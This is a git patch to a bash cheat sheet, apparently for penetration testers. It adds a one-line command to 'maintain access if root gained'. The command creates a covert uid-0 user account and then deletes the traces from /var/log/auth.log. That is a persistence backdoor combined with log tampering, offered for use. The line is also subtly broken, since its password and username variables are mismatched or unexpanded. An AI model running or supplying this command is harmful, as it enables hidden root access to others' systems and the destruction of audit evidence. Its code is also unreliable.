From 083507b1e83e5f0aeb814f9a0d38148b2c6c38bb Mon Sep 17 00:00:00 2001 From: oXis Date: Thu, 19 Jun 2014 11:49:37 +0100 Subject: [PATCH] Add one line root useradd maintain access if root gained --- scripting/bash.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/scripting/bash.md b/scripting/bash.md index d4276fb..7c50cc3 100644 --- a/scripting/bash.md +++ b/scripting/bash.md @@ -127,6 +127,10 @@ I find this best works with a socat listener due to the readline support. socat readline TCP-LISTEN:1234 ``` +**One line root useradd** +```bash +USERNAME="name";PASSWD=`perl -e 'print crypt($PASSWD, "sa")'` && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment "Comment Here" $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log +``` Credits -----------